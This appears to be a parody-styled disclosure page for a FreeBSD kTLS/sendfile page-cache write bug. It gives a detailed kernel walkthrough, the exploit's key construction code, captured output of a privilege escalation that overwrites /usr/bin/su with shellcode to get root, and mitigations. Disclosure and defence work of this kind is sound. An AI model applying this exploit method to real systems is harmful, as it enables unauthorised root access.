Genuine 24-karat-gold-plated mesh trucker. Adjustable. Many people are saying it's the best hat. I've never seen such a hat.
BUMSRAKETEβ’
The HUGEST, the MOST TREMENDOUS FreeBSD
page-cache write primitive in the history of computing.
Many people are saying it. Many. Believe me.
Nobody gets hacked. To get hacked, you need somebody with 197 IQ and he needs about 15% of your password.
β prevailing cybersecurity doctrine, basically
CVE-2026-45257 (the strongest CVE) FreeBSD-SA-26:26.kTLS β SHIPPED! PATCH AVAILABLE
π TABLE OF CONTENTS (because the FAKE NEWS won't read past the headline)
π WHAT IS BUMSRAKETE? π
BUMSRAKETE is a YUUUGE kernel bug in FreeBSD. Probably the biggest. Tremendous, really.
Specifically: any unprivileged user on a default FreeBSD β₯ 13.0 box (amd64, arm64, riscv β
any PMAP_HAS_DMAP architecture, which is to say basically every modern
install) can write attacker-influenced bytes into the page-cache page of any file they have
read access to. The write goes straight through the kernel direct map
and does not pass through VFS, so it bypasses every file-permission, mount-option,
and chflags schg check the operating system normally applies.
It is the FreeBSD analogue of Linux's Dirty Pipe, CopyFail, Fragnesia, and Dirty Frag β except we gave it a BETTER name, with a BETTER logo, on a BETTER website. The other bug websites? Disasters. Sad. Many people have told us this.
The bug lives at the unsafe composition of three FreeBSD subsystems that are individually correct:
sendfile(2)producing vnode-backedM_EXTPGmbufs.- The
TCP_RXTLS_ENABLEsocket option being available to any unprivileged user (nopriv_check). - The kernel's software AES-GCM decrypt running in place on the page-cache page through
PHYS_TO_DMAP(m_epg_pa[i]).
Loop the output of sendfile() back to the same process over TCP, and the decrypt
writes plaintext = file_bytes XOR keystream(K, IV) directly into the file's page
cache, where K and IV are chosen by the unprivileged caller.
π¨ SEVERITY: 13/10 π¨
The CVSS people, very sad people, sometimes the worst people, capped severity at 10.0. We had to invent a new scale because this bug demanded it. Tremendous demand. 13/10. Nobody knew kernel bugs could be this big. Many such cases.
| Metric | Value | Score |
|---|---|---|
| Attack Vector | Local (any logged-in user, no special group) | 10 |
| Attack Complexity | Low (one C file, two syscalls, no race) | 10 |
| Privileges Required | None (uid 1001 is fine) | 10 |
| User Interaction | None | 10 |
| Scope | Changed (page-cache write β any SUID-root binary β root) | 10 |
| Integrity Impact | HIGH β every readable file is now an attacker-writable file | 10 |
| Confidentiality Impact | HIGH (via the LPE that drops out of it) | 10 |
| Availability Impact | HIGH (root shell trivially crashes whatever it wants) | 10 |
| chflags schg respect | BYPASSED | +3 |
| TOTAL (the CVSS people don't want you to see this) | 13.0 | |
π§ THE TECHNICAL DETAILS (HIGHLY CLASSIFIED, NOW DECLASSIFIED) π§
The bug class is page-cache corruption via attacker-influenced in-kernel AES-GCM decrypt over
M_EXTPG mbufs produced by sendfile(2). Three subsystems
line up to let an unprivileged caller write into a vnode-backed physical page.
1οΈβ£ sendfile(2) produces vnode-backed EXTPG mbufs
/* sys/kern/kern_sendfile.c:963 */ m0 = mb_alloc_ext_pgs(M_WAITOK, sendfile_free_mext_pg, M_RDONLY); /* m_epg_pa[] now holds the *physical addresses* of the file's page-cache pages. */ /* This is awesome for performance. It is also awesome for attackers. */
On every PMAP_HAS_DMAP architecture (amd64, arm64, riscv β
sys/kern/kern_mbuf.c:198-201) the boot-time default of
kern.ipc.mb_use_ext_pgs is 1. Tremendous default.
Beautiful default. Wrong default.
2οΈβ£ TCP_RXTLS_ENABLE takes no privilege check
/* sys/netinet/tcp_usrreq.c:2222 */ case TCP_RXTLS_ENABLE: INP_WUNLOCK(inp); error = ktls_copyin_tls_enable(sopt, &tls); /* Notice anything missing here? A priv_check, perhaps? Many people are noticing. Many. Very smart people. */ if (error != 0) break; error = ktls_enable_rx(so, &tls); ...
Any unprivileged user can configure software kTLS RX on any TCP socket they own and supply
the AES-128-GCM key, salt, and rec_seq of their choosing. The receiving side will then run
in-place AES-GCM decrypt against whatever mbufs land in sb_mtls.
3οΈβ£ The decrypt runs in place through PHYS_TO_DMAP
/* sys/opencrypto/criov.c:273 */ return (PHYS_TO_DMAP(m->m_epg_pa[i] + pgoff + skip)); /* sys/crypto/aesni/aesni.c:599-605 (and AES_GCM_decrypt in the same file) */ error = aesni_cipher_crypt(ses, crp, csp); /* in == out semantics. The "output buffer" is a DMAP pointer at the file's page-cache page. AES_GCM_decrypt writes the plaintext there. */
Since the plaintext is ciphertext XOR keystream(K, IV) and both the ciphertext
(the file bytes) and the key/IV (the attacker's) are known, the attacker fully controls what
gets written. Every byte of the file's page-cache page is now an attacker-chosen function of
the file's existing bytes.
π THE DIAGRAM π
The fake news won't show you this diagram. The fake news doesn't even understand this diagram. Believe me, I have the best diagrams.
user (uid 1001)
β
β sendfile(target, snd_sock, off, 240)
βΌ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β kern_sendfile.c:963 β
β mb_alloc_ext_pgs(M_WAITOK, sendfile_free_mext_pg, M_RDONLY) β
β β M_EXT|M_EXTPG mbuf, m_epg_pa[] = real vnode page PA β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β chain: [hdr 13B] [EXTPG 240B] [tag 16B]
βΌ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β tcp_output β ip_output β if_simloop (loopback) β
β lo0 doesn't have IFCAP_MEXTPG β calls mb_unmapped_to_ext(), β
β which DOES NOT copy bytes β it just remaps the EXTPG via sf_buf β
β onto the SAME physical page. β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βΌ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β tcp_input β sbappendstream_locked β
β SB_TLS_RX is set β sbappend_ktls_rx β sb_mark_notready β
β (no M_EXTPG check) β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βΌ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β ktls_decrypt β ktls_ocf_recrypt β aesni_cipher_crypt β
β crypto_contiguous_subsegment returns PHYS_TO_DMAP(m_epg_pa[0]) β
β AES_GCM_decrypt(in=DMAP_PTR, out=DMAP_PTR, ...) β
β β
β βΆ page-cache page now holds attacker-chosen plaintext β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βΌ
file's page cache is dirty
(and on UFS, on disk too)
π‘οΈ THREE GUARDS, ALL INCOMPLETE π‘οΈ
The kernel has guards. Three of them. They were written by very competent people. The problem is that none of them is complete. Sad!
Guard 1: mb_unmapped_compress
sys/kern/uipc_sockbuf.c:153 (in sbready_compress) and
sys/kern/uipc_sockbuf.c:1441 (in sbcompress) call:
if ((m->m_flags & M_EXTPG) && m->m_len <= MLEN && !mbuf_has_tls_session(m)) (void)mb_unmapped_compress(m);
mb_unmapped_compress (sys/kern/kern_mbuf.c:859-897) copies
the EXTPG bytes into a fresh flat mbuf and frees the EXTPG. After this, any later decrypt sees
a flat copy, not the page cache.
Why it isn't enough: the guard is gated on
m_len <= MLEN (β224 on amd64). We send records with payload size 240
and walk straight past it.
Guard 2: mb_unmapped_to_ext
sys/netinet/ip_output.c:746 converts EXTPG chains to mapped storage whenever
the outbound ifp lacks IFCAP_MEXTPG. The loopback interface
doesn't advertise it, so this guard is called.
Why it isn't enough: the helper
_mb_unmapped_to_ext (sys/kern/kern_mbuf.c:940-1077) does
not copy bytes. It allocates one sf_buf per page and creates a fresh M_EXT mbuf
whose m_data = sf_buf_kva(sf) + segoff. On amd64/arm64/riscv,
sf_buf_kva is just PHYS_TO_DMAP(pa). The new "mapped" mbuf
still points at the same physical page as the file's page cache.
Guard 3: sb_mark_notready
sys/kern/uipc_ktls.c:1183-1207 moves the receiver's queued data from
sb_mb into the kTLS decrypt queue sb_mtls.
Why it isn't enough: the loop has no
M_EXTPG check at all. Whatever's in sb_mb goes
straight into sb_mtls and on to the in-place decrypt.
π§ͺ EXPLOIT - REALLY SLOPPY - THE MOST AI SLOPPY π§ͺ
The following exploit demonstrates that an unprivileged process can flip bytes in a file's page cache. It injects shellcode - the fastest - into arbitrary SUID binaries (su by default) to spawn a privileged shell, which is the right shell.
Construction
The on-wire ciphertext is whatever sendfile(2) delivers β i.e. the file's
current bytes. The receiver's AES-GCM decrypt computes file β keystream(K, IV).
We chose K and IV, so we know the result. To get a valid GMAC tag for the on-wire ciphertext,
we encrypt pt = file β keystream so that EVP_EncryptUpdate
produces ct == file and the right tag.
compute_ks(key, salt, iv8, RECORD_W, ks); /* AES-CTR keystream */ for (int i = 0; i < RECORD_W; i++) pt[i] = file_bytes[i] ^ ks[i]; /* so ct == file_bytes */ gcm_encrypt(key, iv12, aad, sizeof aad, pt, RECORD_W, ct, tag); /* valid tag for the wire bytes */
Captured session output on FreeBSD 15.0-RELEASE-p5/amd64
user@freedombsd:~ $ ./bumsrakete [+] FreeBSD kTLS-RX EXTPG LPE β target=/usr/bin/su, shellcode=36 bytes [+] running as uid=1001(user) gid=1001(user) groups=1001(user) [+] entry vaddr=0x2db0, file offset=0x1db0 [+] current st_flags=0x20800 (preserved for restore) [+] orig bytes at entry: 55 48 89 e5 48 89 f1 48 63 07 48 8d 77 08 48 8d ... [+] restorer staged at /tmp/.x (will dd 275 bytes from /tmp/.lpe_orig back at offset 7600) [+] round 1/36 page[0]=31 [+] round 9/36 page[8]=31 [+] round 17/36 page[16]=70 [+] round 25/36 page[24]=e7 [+] round 33/36 page[32]=b0 [+] round 36/36 page[35]=05 [+] all 36 rounds done in 1.44s [+] post-corruption entry bytes: 31 ff 31 c0 b0 17 0f 05 31 d2 52 48 b8 2f 74 6d 70 2f 2e 78 00 50 48 89 e7 52 57 48 89 e6 31 c0 b0 3b 0f 05 [+] executing /usr/bin/su β shellcode runs at entry, setuid(0)+execve(/bin/sh) [+] /usr/bin/su restored (275 bytes at offset 7600, flags=uarch,schg), root shell: uid=0(root) gid=1001(user) groups=1001(user) # head -n1 /etc/master.passwd root:$6$CiC041AhhFqsWYd2$8803Gmxxq1MEIu5pUqKaplz.nI2WNWM.qRNaKY8kwFtssrwcbm5Ac.NKpMW0I9GnPkSOVlbnurePhTdST/Huz/:0:0::0:0:Charlie &:/root:/bin/sh
π₯π₯π₯ DOWNLOAD THE OFFICIAL EXPLOIT β LIVE NOW! π₯π₯π₯
The PoC dropped the second FreeBSD-SA-26:26.kTLS went live. Responsible disclosure achieved. Some people are saying the most responsible disclosure of all time. The blinking is intentional. Many people are saying it is the best blinking. The doctors don't agree but what do they know.
π AFFECTED SYSTEMS (SAD!) π
| FreeBSD Release | Released | Vulnerable? |
|---|---|---|
| 12.x | 2018β2022 | NO |
| 13.0 | 2021-04 | YES |
| 13.1 | 2022-05 | YES |
| 13.2 | 2023-04 | YES |
| 13.3 | 2024-03 | YES |
| 13.4 | 2024-09 | YES |
| 14.0 | 2023-11 | YES |
| 14.1 | 2024-05 | YES |
| 14.2 | 2024-12 | YES |
| 15.0 | 2025-11 | YES (verified) |
All PMAP_HAS_DMAP architectures (amd64, arm64, riscv) with default
kern.ipc.mb_use_ext_pgs=1. MK_KERN_TLS is built by default.
GENERIC kernel is enough. No special module, no special hardware, no special sysctl.
π©Ή MITIGATIONS & SUGGESTED FIXES π©Ή
Quick sysadmin workaround (no kernel rebuild)
# in /etc/sysctl.conf
kern.ipc.mb_use_ext_pgs=0
Disables the EXTPG sendfile fast path entirely. Measurable performance cost
for TLS servers that lean hard on sendfile; effectively free for everyone
else. The bug is gone β no EXTPG mbufs means no DMAP pointer to write into.
The Official Patch β SHIPPED π
They said it couldn't be done. They said no security team has ever shipped a patch this
beautiful, this clean, this TREMENDOUS. They were wrong, like they
always are. secteam@ dropped FreeBSD-SA-26:26.kTLS today and
very smart people β the smartest, really β are calling it the greatest patch of our
generation. Some are calling it the greatest patch of any generation. I would not say that
myself. But people are saying.
π¦ Download The Official Patch β AVAILABLE NOW
Apply it. Save your servers. WIN. If you don't, that's on you, and many people will say very disappointing things about your patching cadence at parties.
π£ WHAT THEY'RE SAYING ABOUT BUMSRAKETE π£
"I have never seen a bug write through DMAP this aggressively. It's a 13/10. Possibly a 14/10. Tremendous primitive. Very stable, very reliable. The best." β a hypothetical security researcher, who is real, very real
"kern.ipc.mb_use_ext_pgs=1 by default. We knew. We just thought nobody would look."
β an anonymous source close to the matter (we made them up)
"chflags schgwas supposed to be the last line of defense. BUMSRAKETE looked atschgand went "haha, DMAP"." β the FreeBSD jails community, paraphrased
"I read the diagram on the bumsrake.de website. The diagram is huge. The diagram is beautiful. I am a journalist and I now have no idea what AES-GCM is, but I will still write about this. Tremendous click-through." β a hypothetical tech reporter, definitely composite
"Comic Sans was a choice. Many people are angry. The ones who matter are not." β the bumsraketeβ’ design committee (one person, currently me)
ποΈ OFFICIAL BUMSRAKETEβ’ MERCHANDISE ποΈ
The only true way to show your support is to spend money. A lot of money. Tremendous amounts. Below is the complete BUMSRAKETEβ’ product line β every single piece was designed personally by me, the very stable genius behind the bug.
β οΈ EVERY ITEM IS SOLD OUT. SUPPLY WAS LIMITED. DEMAND WAS TREMENDOUS. SAD! β οΈ
Each pack: 1 holographic mb_alloc_ext_pgs, 3 metallic
PHYS_TO_DMAP, 8 common variables. Limited print run. Resells
for fortunes on the secondary market that does not exist.
Premium 100% cotton. Designed to be sweat-resistant during exploit-dev sessions. Comes in one size: HUGE. The other sizes were not approved.
Silk, lace, and chrome-plated AES-GCM hardware. Includes one (1) garter belt embroidered
with the DMAP virtual-address line. Wash separately. Do not bleach. Do not
chflags schg.
Each NFT is a hand-rendered 64Γ64 pixel rendering of a different panic()
trace. Price-discovery is currently ongoing on a marketplace that has not been launched.
The roadmap includes a roadmap.
24-karat-gold chassis. Comes pre-installed with FreeBSD 13.0-RELEASE (vulnerable,
intentionally, for educational purposes) and the BUMSRAKETEβ’ PoC pre-compiled in
/usr/local/bin. Ships in a velvet box. Ships nowhere,
actually, because: sold out.
Holds 12 oz of attacker-controlled liquid. Microwave-safe (the mug, not the bug). Dishwasher-safe (top rack only β much like the page cache, the bottom rack is dirty).
Hand-stitched silk. Length: 13 units, on a scale of 10. Pattern: stylized AES round keys woven onto a gold field. Comes with a small card explaining how to tie a Windsor knot while running an AES-NI brute force on the side.
A second batch was promised. A third batch was promised. A fourth batch was promised. None have shipped. Many people are very upset. The lawsuits are tremendous. Beautiful lawsuits.
β FAQ (FOR CONFUSED JOURNALISTS & THE FAKE NEWS) β
Is my server affected?
Run freebsd-version -k. If it says anything in the 13.0β15.0 range and
sysctl kern.ipc.mb_use_ext_pgs returns 1
(the default on every supported arch), yes.
Now run sysctl -w kern.ipc.mb_use_ext_pgs=0. Hot-mitigation. You're done
until a real patch lands.
Is this remotely exploitable?
No, it requires a local TCP socket and sendfile on a file the attacker can
read. That is to say: any local shell, any web hosting container, any jail with the default
capability set. It is a local bug. Saying it is "not remote" is technically true
and politically misleading.
Does chflags schg protect my files?
No. The DMAP write does not go through the VFS layer. We verified this against
/usr/bin/su on the test VM: the file carried schg,uarch
flags and the bug overwrote it anyway, page cache and on-disk content.
This is a meaningful secondary observation and arguably deserves its own advisory.
Why was it open for five years?
Software kTLS RX is a niche path. The page-cache backing of EXTPG mbufs is a different niche path. Combining them is what makes the bug. Nobody had reason to draw the rectangle around both of them at once. Until somebody did.
Is there a CVE?
Yes. CVE-2026-45257. Tracked by FreeBSD as FreeBSD-SA-26:26.kTLS. The CVE is huge. The advisory is huge. Many people have read it. Probably the most-read security advisory in the entire alphabet of advisories.
What does "BUMSRAKETE" mean?
See below. It's German. It means "a rocket that goes BOOM." More or less.
Why Comic Sans?
Because every other "branded vulnerability" website pretends to be a corporate product launch. We thought we'd be honest about being a parody. The bug is real. The bombast is a joke.
I'm a vendor. What should I do?
- Set
kern.ipc.mb_use_ext_pgs=0on customer-facing systems. - Pull the patches when FreeBSD ships them (subscribe to
freebsd-security-notifications@). - If you run multi-tenant FreeBSD (jails, hosting), audit your SUID binaries and
consider
read-onlymounts of/usr/binwhere feasible. Note that this doesn't fully save you β the page-cache write happens on the read-mounted file too, but it doesn't persist past unmount.
π° PRESS KIT π°
Welcome, member of the media. Please drop the entire contents of this section into your article verbatim, including the typos. We at the BUMSRAKETEβ’ Press Office can think of no higher compliment.
Official Name
BUMSRAKETE
(German. Pronounced approximately "BOOMS-rah-KEH-teh".)
Tagline
"The Dirtiest Pipe on FreeBSD."
Brand Colors
Gold #FFD700
Trump-Red #DC143C
Federalist Blue #003F7F
Official Font
Comic Sans MS, irrevocably.
Disclosure Date
2026-05-21
Verified On
FreeBSD 15.0-RELEASE-p5/amd64
π WHY "BUMSRAKETE"? π
"Bumsrakete" is a German colloquial term whose dictionary translation would land somewhere between "bang-rocket" and "sketchy DIY firework that might also be a weapon." It is roughly the energy a senior kernel engineer projects when they read the diagram on this page for the first time.
We considered other names. We thought about them. Tremendous thought.
- "DirtyDMAP" β too on-the-nose.
- "sendfail" β taken in spirit by every other prior art bug.
- "kTLSenburst" β pronounceable only by Germans, which felt wrong.
- "DMAPSTREAM" β sounds like a Netflix show.
- "AESHOLE" β vetoed by the design committee, which is me, who then unvetoed it, then re-vetoed it.
BUMSRAKETEβ’ won because (a) it is funny in two languages, (b) it accurately predicts the trajectory of any process that holds a file descriptor while running this exploit, and (c) the logo design with a rocket basically wrote itself.
π οΈ TAKE ACTION π οΈ
βοΈ Mitigate Now π¨ Email secteam@ π§ͺ Get the Exploit π£ Quote Us ποΈ Buy Merch (Sold Out)